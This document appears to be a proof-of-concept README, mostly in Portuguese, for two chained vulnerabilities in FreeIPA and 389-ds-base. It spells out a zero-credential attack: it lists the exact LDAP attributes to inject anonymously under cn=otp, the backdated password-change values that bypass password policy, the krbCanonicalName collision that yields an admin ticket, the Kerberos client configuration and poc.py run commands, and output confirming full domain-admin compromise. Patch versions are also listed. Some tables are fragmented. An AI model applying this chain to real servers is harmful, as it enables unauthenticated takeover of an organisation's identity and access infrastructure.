
Proof-of-concept de exploit para CVE-2026-76578 e CVE-2026-76560, encadeando LDAP ADD anônimo com um bypass SELFDN do 389-ds para obter direitos de administrador de domínio do FreeIPA.
Produto: FreeIPA 4.9.x – 4.13.3
Severidade: Crítica (CVSS 9.8)
Corrigido: FreeIPA 4.13.4 / 389-ds-base 3.2.0-10.el10_2 (RHSA-2026:64785)
Esta prova de conceito foi desenvolvida e executada exclusivamente dentro de um ambiente de laboratório isolado e de propriedade privada com a finalidade de pesquisa de segurança autorizada e validação de vulnerabilidade.
Antes de usar este script:
Os autores não aceitam qualquer responsabilidade por uso indevido. Este código é fornecido para pesquisa defensiva e testes de penetração autorizados apenas.
Nota sobre portabilidade: este script foi validado contra as versões específicas de pacotes listadas na seção Ambiente de Teste abaixo. O comportamento em outras versões de SO, níveis de patch ou configurações não padrão do FreeIPA pode diferir. Sempre verifique os resultados de forma independente em um ambiente controlado antes de tirar conclusões sobre um alvo de produção.
| Parâmetro | Valor |
|---|---|
| SO | Fedora 44 (x86_64) |
| FreeIPA | freeipa-server-4.13.1-9.fc44 |
| 389-ds-base | 389-ds-base-3.2.0-15.fc44 |
| MIT Kerberos | krb5-libs-1.21.x |
| Realm | TEST.LOCAL |
| Domínio | test.local |
| IP do Servidor | 192.168.1.11 |
| Hostname | ipa-master.test.local |
| Host de ataque | Kali Linux (externo, sem associação ao domínio) |
Um cliente LDAP não autenticado pode adicionar uma entrada de token OTP sob cn=otp e
obter direitos completos de administrador do domínio FreeIPA. Duas falhas se combinam:
CVE-2026-76578 (FreeIPA) — a ACI de ADD de OTP não possui restrição targetattr,
portanto o ADD anônimo pode incluir qualquer atributo: krbPrincipalAux, krbCanonicalName,
userPassword, krbLastPwdChange, etc.
CVE-2026-76560 (389-ds-base) — o avaliador SELFDN trata "" (string vazia)
como correspondente ao DN de bind anônimo, contornando a verificação de propriedade
ipatokenOwner#SELFDN.
O insight crítico — nenhum blob pré-capturado, nenhum acesso à chave mestra necessário:
Adicionar objectClass: inetOrgPerson + userPassword à entrada aciona o
plugin ipapwd do 389-DS, que gera automaticamente krbPrincipalKey
no lado do servidor, criptografando-a com a krbMKey do realm alvo. O atacante
fornece uma senha em texto claro; o servidor deriva a chave Kerberos internamente.
Definir krbLastPwdChange: 20200101000000Z (data passada) no mesmo ADD contorna
a política krbMinPwdLife que, de outra forma, exigiria uma alteração interativa de senha
antes que kinit tivesse sucesso.
| CVE | Componente | Descrição |
|---|---|---|
| CVE-2026-76578 | FreeIPA | ACI de OTP sem targetattr — qualquer atributo passa no ADD anônimo |
| CVE-2026-76560 |
Anonymous LDAP ADD (port 389, zero credentials)
ipatokenOwner: "" ← CVE-2026-76560: SELFDN "" == anonymous DN
objectClass: inetOrgPerson ← enables userPassword attribute
userPassword: PwnedPass1! ← CVE-2026-76578: no targetattr restriction
krbCanonicalName: admin@REALM ← not in kerberos uniqueness plugin for cn=otp
krbLastPwdChange: 20200101 ← bypass krbMinPwdLife policy
↓
389-DS ipapwd: userPassword → krbPrincipalKey (server-side, target's krbMKey)
↓
kinit attacker@REALM → TGT: Default principal: admin@REALM
↓
GSSAPI bind → dn: uid=admin,cn=users,cn=accounts,…
↓
uid=admin ∈ cn=admins → full domain administrator
apt install python3-ldap krb5-user ldap-utils libsasl2-modules-gssapi-mit
/etc/hosts:
<target-ip> ipa-master.test.local
/etc/krb5.conf — canonicalize = true necessário para o Nível 3:
[libdefaults]
default_realm = TEST.LOCAL
canonicalize = true
forwardable = true
rdns = false
[realms]
TEST.LOCAL = {
kdc = ipa-master.test.local
}
[domain_realm]
.test.local = TEST.LOCAL
test.local = TEST.LOCAL
python3 poc.py <target_ip> <ipa_hostname> <REALM>
# Test lab:
python3 poc.py 192.168.1.11 ipa-master.test.local TEST.LOCAL
# Other lab:
python3 poc.py 10.10.10.5 ipa.corp.local CORP.LOCAL
── TEST 1: Anonymous ADD — server-side krbPrincipalKey generation ───
[+] ADD succeeded: ipatokenuniqueid=pwn-...,cn=otp,dc=test,dc=local
[+] Server generated krbPrincipalKey from userPassword (ipapwd plugin)
[+] TGT obtained — LEVEL 1 CONFIRMED
Default principal: [email protected]
── TEST 2: GSSAPI LDAP bind ─────────────────────────────────────────
[+] GSSAPI bind succeeded: dn: ipatokenuniqueid=pwn-...,cn=otp,...
[+] LEVEL 2 CONFIRMED
── TEST 3: krbCanonicalName=admin collision ──────────────────────────
[+] ADD with [email protected] succeeded
[+] TGT obtained — ticket claims principal: [email protected]
[+] TGT cname is admin — LEVEL 3 CONFIRMED
[+] GSSAPI bind: dn: uid=admin,cn=users,cn=accounts,dc=test,dc=local
[+] uid=admin is member of cn=admins — real admin rights confirmed
════════════════════════════════════════════════════════════
CVE-2026-76578 — Result Summary
════════════════════════════════════════════════════════════
Level 1 — Server-side krbPrincipalKey + TGT [✓] CONFIRMED
Level 2 — GSSAPI LDAP / Kerberos auth [✓] CONFIRMED
Level 3 — Real admin group membership [✓] CONFIRMED
Full zero-credential compromise chain reproduced.
No pre-captured blob required.
════════════════════════════════════════════════════════════
krbPrincipalKey é criptografada com a krbMKey (chave mestra) do alvo.
A chave mestra é armazenada no LDAP em cn=REALM,cn=kerberos e é legível apenas
pelo Directory Manager — não anonimamente, nem por uid=admin via GSSAPI.
Injetar krbPrincipalKey diretamente é impossível sem a chave mestra.
Injetar userPassword delega a geração de chave ao plugin ipapwd do servidor,
que tem acesso interno à krbMKey e realiza a criptografia
de forma transparente. A ACI (CVE-2026-76578) permite userPassword sem
verificação de targetattr.
O plugin de unicidade do kerberos impõe unicidade em krbPrincipalName e
krbPrincipalAlias em todo o sufixo, mas não em krbCanonicalName.
Uma nova entrada em cn=otp com krbCanonicalName: admin@REALM não entra em conflito
com o principal admin real.
Com canonicalize = true no cliente, kinit attacker@REALM recupera a
entrada por krbPrincipalName, mas o KDC emite o TGT com
cname = krbCanonicalName = admin@REALM. O GSSAPI resolve isso para o DN
uid=admin real — que já é um membro legítimo de cn=admins. Nenhuma modificação
de grupo é realizada.
Quando userPassword é adicionado, ipapwd define krbPasswordExpiration para agora
(expirado) e krbLastPwdChange para agora. Com o padrão krbMinPwdLife = 3600s,
kinit solicitaria uma alteração de senha antes de emitir um TGT.
Definir krbLastPwdChange: 20200101000000Z no ADD original sobrescreve o
valor do plugin para seis anos no passado, satisfazendo a verificação de tempo de vida mínimo.
krbPasswordExpiration: 20990101000000Z evita o prompt de expiração. Ambos os
atributos são aceitos porque a ACI de OTP não possui restrição targetattr.
Para implantar uma instância vulnerável do FreeIPA em uma VM nova:
# On Fedora 44 / RHEL 9-10 VM (needs root, 4GB RAM, 20GB disk)
bash setup_lab.sh [REALM] [DOMAIN] [HOSTNAME] [PASSWORD]
# Default:
bash setup_lab.sh TEST.LOCAL test.local ipa-master.test.local Secret123
dnf update freeipa-server # → 4.13.4
dnf update 389-ds-base # → 3.2.0-10.el10_2 (RHEL 10)
O FreeIPA 4.13.4 adiciona uma lista de permissões explícita de targetattr à ACI de OTP, bloqueando
a injeção anônima de userPassword, krbPrincipalAux, krbPrincipalKey e
krbCanonicalName.
O 389-ds-base 3.2.0-10.el10_2 corrige o avaliador SELFDN para rejeitar "" como
DN correspondente para binds anônimos.
Ambas as correções são necessárias de forma independente — qualquer uma sozinha reduz, mas não elimina a superfície de ataque.
| 389-ds-base |
Avaliador SELFDN aceita "" como DN de bind anônimo |
| Componente | Vulnerável | Corrigido |
|---|
| FreeIPA | 4.9.x – 4.13.3 | 4.13.4 |
| 389-ds-base (RHEL 10) | < 3.2.0-10.el10_2 | 3.2.0-10.el10_2 (RHSA-2026:64785) |
| 389-ds-base (RHEL 9) | < build corrigido | consulte o aviso correspondente |
| 389-ds-base (Fedora 44) | 3.2.0-15.fc44 | não corrigido no momento dos testes |